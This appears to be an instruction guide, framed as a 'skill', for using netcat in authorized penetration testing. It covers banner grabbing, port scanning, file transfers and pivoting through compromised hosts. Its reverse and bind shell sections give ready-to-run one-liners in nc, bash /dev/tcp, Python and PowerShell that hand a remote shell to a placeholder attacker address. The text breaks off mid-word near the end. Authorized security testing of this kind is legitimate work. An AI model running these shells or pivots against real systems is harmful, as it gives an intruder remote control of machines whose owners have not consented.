Netcat Network Utility

Overview

Netcat (nc) is the "Swiss Army knife" of networking tools, providing simple Unix utility for reading and writing data across network connections. This skill covers authorized offensive security applications including reverse shells, bind shells, file transfers, port scanning, and banner grabbing.

IMPORTANT: Netcat capabilities can be used maliciously. Only use these techniques in authorized penetration testing environments with proper written permission.

Quick Start

Basic connection and listening:

# Listen on port 4444
nc -lvnp 4444

# Connect to remote host
nc <target-ip> <port>

# Banner grab a service
echo "" | nc <target-ip> 80

# Simple port scan
nc -zv <target-ip> 1-1000

Core Workflow

Netcat Operations Workflow

Progress: [ ] 1. Verify authorization for network testing [ ] 2. Test basic connectivity and port availability [ ] 3. Perform banner grabbing and service enumeration [ ] 4. Establish reverse or bind shells (if authorized) [ ] 5. Transfer files between systems [ ] 6. Create relay and pivot connections [ ] 7. Document findings and clean up connections [ ] 8. Remove any backdoors or persistence mechanisms

Work through each step systematically. Check off completed items.

1. Authorization Verification

CRITICAL: Before any netcat operations:

• Confirm written authorization for network testing
• Verify in-scope targets and allowed activities
• Understand restrictions on shell access and data exfiltration
• Document emergency contact procedures
• Confirm cleanup requirements post-engagement

2. Basic Connectivity Testing

Test network connectivity and port availability:

# TCP connection test
nc -vz <target-ip> <port>

# UDP connection test
nc -uvz <target-ip> <port>

# Test port range
nc -zv <target-ip> 20-30

# Verbose output
nc -v <target-ip> <port>

Connection test results:

• Connection succeeded: Port is open and accepting connections
• Connection refused: Port is closed
• Connection timeout: Port is filtered by firewall or no response

3. Banner Grabbing

Extract service banner information:

# HTTP banner grab
echo -e "GET / HTTP/1.0\r\n\r\n" | nc <target-ip> 80

# SMTP banner grab
echo "QUIT" | nc <target-ip> 25

# FTP banner grab
echo "QUIT" | nc <target-ip> 21

# SSH banner grab
nc <target-ip> 22

# Generic banner grab with timeout
timeout 2 nc <target-ip> <port>

Service-specific banner grabbing:

# MySQL banner
nc <target-ip> 3306

# PostgreSQL banner
nc <target-ip> 5432

# SMB/CIFS banner
nc <target-ip> 445

# RDP banner
nc <target-ip> 3389

4. Port Scanning

Simple port scanning (note: nmap is more comprehensive):

# Scan single port
nc -zv <target-ip> 80

# Scan port range
nc -zv <target-ip> 1-1000

# Scan specific ports
for port in 21 22 23 25 80 443 3389; do
  nc -zv <target-ip> $port 2>&1 | grep succeeded
done

# Fast UDP scan
nc -uzv <target-ip> 53,161,500

Limitations of netcat port scanning:

• Slower than dedicated port scanners
• Limited stealth capabilities
• No service version detection
• Better for quick ad-hoc testing

5. Reverse Shells (Authorized Testing Only)

Establish reverse shell connections from target to attacker:

Attacker machine (listener):

# Start listener
nc -lvnp 4444

# With verbose output
nc -lvnp 4444 -v

Target machine (connector):

# Linux reverse shell
nc <attacker-ip> 4444 -e /bin/bash

# If -e not available (OpenBSD netcat)
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker-ip> 4444 > /tmp/f

# Python reverse shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<attacker-ip>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# Bash reverse shell
bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1

# Windows reverse shell (with ncat)
ncat.exe <attacker-ip> 4444 -e cmd.exe

# PowerShell reverse shell
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('<attacker-ip>',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Upgrade reverse shell to interactive TTY:

# Python PTY upgrade
python -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Background shell with Ctrl+Z, then:
stty raw -echo; fg
export TERM=xterm
export SHELL=/bin/bash

6. Bind Shells (Authorized Testing Only)

Create listening shell on target machine:

Target machine (listener with shell):

# Linux bind shell
nc -lvnp 4444 -e /bin/bash

# Without -e flag
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -lvnp 4444 > /tmp/f

# Windows bind shell
ncat.exe -lvnp 4444 -e cmd.exe

Attacker machine (connect to bind shell):

nc <target-ip> 4444

Bind shell vs Reverse shell:

• Bind Shell: Target listens, attacker connects (blocked by outbound firewalls)
• Reverse Shell: Attacker listens, target connects (bypasses inbound firewall rules)

7. File Transfers

Transfer files between systems:

Receiving file (listener):

# Receive file on port 5555
nc -lvnp 5555 > received_file.txt

Sending file (connector):

# Send file to listener
nc <receiver-ip> 5555 < file_to_send.txt

# With progress indication
pv file_to_send.txt | nc <receiver-ip> 5555

Directory/archive transfer:

# Sender: tar and compress directory, send via netcat
tar czf - /path/to/directory | nc <receiver-ip> 5555

# Receiver: receive and extract
nc -lvnp 5555 | tar xzf -

Large file transfer with verification:

# Sender: calculate checksum before sending
md5sum large_file.iso
cat large_file.iso | nc <receiver-ip> 5555

# Receiver: receive and verify
nc -lvnp 5555 > large_file.iso
md5sum large_file.iso

8. Encrypted File Transfer

Use ncat with SSL for encrypted transfers:

# Receiver with SSL
ncat -lvnp 5555 --ssl > received_file.txt

# Sender with SSL
ncat <receiver-ip> 5555 --ssl < file_to_send.txt

# Generate self-signed certificate for ncat
openssl req -new -x509 -days 365 -nodes -out cert.pem -keyout cert.key
ncat -lvnp 5555 --ssl --ssl-cert cert.pem --ssl-key cert.key

9. Relay and Pivoting

Create relay connections through compromised hosts:

# Simple relay: forward connections from port 8080 to internal host
mkfifo backpipe
nc -lvnp 8080 0<backpipe | nc <internal-target-ip> 80 1>backpipe

# Two-way relay
nc -lvnp 8080 -c "nc <internal-target-ip> 80"

# Use ncat for more reliable relay
ncat -lvnp 8080 --sh-exec "ncat <internal-target-ip> 80"

Pivot chain example:

# Compromised Host A (DMZ): relay to internal network
nc -lvnp 9090 -c "nc 192.168.1.100 3389"

# Attacker: connect through pivot
nc <compromised-host-a> 9090

10. Chat and Communication

Simple chat server for covert communication:

# Host 1 (listener)
nc -lvnp 6666

# Host 2 (connector)
nc <host1-ip> 6666

Two-way communication: Both parties can type and messages appear on both sides.

Security Considerations

Authorization & Legal Compliance

• Written Permission: Obtain explicit authorization for all netcat operations
• Shell Access: Reverse/bind shells are invasive, require clear authorization
• Data Exfiltration: File transfers may trigger DLP alerts
• Covert Channels: Relay connections can bypass security controls
• Cleanup: Remove all shells, listeners, and backdoors post-engagement

Operational Security

• **Encrypti